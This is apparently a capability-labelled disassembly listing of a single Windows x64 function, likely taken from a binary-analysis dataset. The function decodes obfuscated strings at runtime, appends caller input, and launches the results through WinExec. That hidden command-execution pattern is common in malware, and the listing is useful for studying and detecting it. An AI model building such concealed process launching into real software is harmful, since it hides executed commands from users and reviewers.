Function at 0x14002b300
Capabilities:
Create process on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rsi, rcx
cmp byte [0x14023b993], 0
je 0x14002b5fd
cmp byte [0x14023c086], 0
je 0x14002b369
movq xmm0, qword [0x14023c078]
paddb xmm0, xmmword [0x140036c60]
movq qword [0x14023c078], xmm0
movq xmm0, qword [0x14023c080]
paddb xmm0, xmmword [0x140036c70]
movd dword [0x14023c080], xmm0
add byte [0x14023c084], 0xd5
add byte [0x14023c085], 0xd5
mov byte [0x14023c086], 0
lea rcx, [0x14023c078]
call sub.msvcrt.dll_strlen
cmp rax, 0xfffffffffffffff0
jae 0x14002b5f8
mov rdi, rax
cmp rax, 0x17
jae 0x14002b39b
lea eax, [rdi + rdi]
mov byte [rsp + 0x20], al
lea rbx, [rsp + 0x21]
test rdi, rdi
jne 0x14002b3c1
jmp 0x14002b3d3
mov r14, rdi
or r14, 0xf
lea rcx, [r14 + 1]
call fcn.140001610
mov rbx, rax
mov qword [rsp + 0x30], rax
add r14, 2
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x28], rdi
lea rdx, [0x14023c078]
mov rcx, rbx
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov byte [rbx + rdi], 0
movzx eax, byte [rsi]
lea rdi, [rsi + 1]
mov r8d, eax
shr r8d, 1
test al, 1
mov rdx, qword [rsi + 0x10]
cmove rdx, rdi
cmovne r8, qword [rsi + 8]
lea rcx, [rsp + 0x20]
call fcn.140002f80
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x60], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x20], 1
jne 0x14002b4ae
cmp byte [0x14023b994], 0
je 0x14002b4c5
cmp byte [0x14023c093], 0
je 0x14002b475
movq xmm0, qword [0x14023c088]
paddb xmm0, xmmword [0x140036c80]
movq qword [0x14023c088], xmm0
add byte [0x14023c090], 0x89
add byte [0x14023c091], 0x89
add byte [0x14023c092], 0x89
mov byte [0x14023c093], 0
lea rcx, [0x14023c088]
call sub.msvcrt.dll_strlen
cmp rax, 0xfffffffffffffff0
jae 0x14002b5f8
mov rbx, rax
cmp rax, 0x17
jae 0x14002b505
lea eax, [rbx + rbx]
mov byte [rsp + 0x38], al
lea r14, [rsp + 0x39]
test rbx, rbx
jne 0x14002b52b
jmp 0x14002b53d
mov rcx, qword [rsp + 0x30]
call fcn.140001680
cmp byte [0x14023b994], 0
jne 0x14002b438
movabs rax, 0xa297d9e0e9ebebd8
mov qword [0x14023c088], rax
mov dword [0x14023c090], 0x17797bf
lea rcx, [0x14002b670]
call fcn.140001370
mov byte [0x14023b994], 1
cmp byte [0x14023c093], 0
jne 0x14002b441
jmp 0x14002b475
mov r15, rbx
or r15, 0xf
lea rcx, [r15 + 1]
call fcn.140001610
mov r14, rax
mov qword [rsp + 0x48], rax
add r15, 2
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x40], rbx
lea rdx, [0x14023c088]
mov rcx, r14
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov byte [r14 + rbx], 0
movzx eax, byte [rsi]
mov r8d, eax
shr r8d, 1
test al, 1
cmovne rdi, qword [rsi + 0x10]
cmovne r8, qword [rsi + 8]
lea rcx, [rsp + 0x38]
mov rdx, rdi
call fcn.140002f80
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x30], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x38], 1
je 0x14002b594
mov rcx, qword [rsp + 0x48]
call fcn.140001680
test byte [rsp + 0x50], 1
je 0x14002b5a2
mov rcx, qword [rsp + 0x60]
jmp 0x14002b5a7
lea rcx, [rsp + 0x51]
mov rsi, qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
call rsi
test byte [rsp + 0x20], 1
je 0x14002b5c0
mov rcx, qword [rsp + 0x30]
jmp 0x14002b5c5
lea rcx, [rsp + 0x21]
xor edx, edx
call rsi
test byte [rsp + 0x20], 1
je 0x14002b5da
mov rcx, qword [rsp + 0x30]
call fcn.140001680
test byte [rsp + 0x50], 1
je 0x14002b5eb
mov rcx, qword [rsp + 0x60]
call fcn.140001680
nop
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
call fcn.14002b250
mov byte [0x14023c086], 1
movabs rax, 0x564b8d949d9f9f8c
mov qword [0x14023c078], rax
mov dword [0x14023c080], 0x7e564b73
mov word [0x14023c084], 0x2b4b
lea rcx, [0x14002b650]
call fcn.140001370
mov byte [0x14023b993], 1
cmp byte [0x14023c086], 0
jne 0x14002b324
jmp 0x14002b369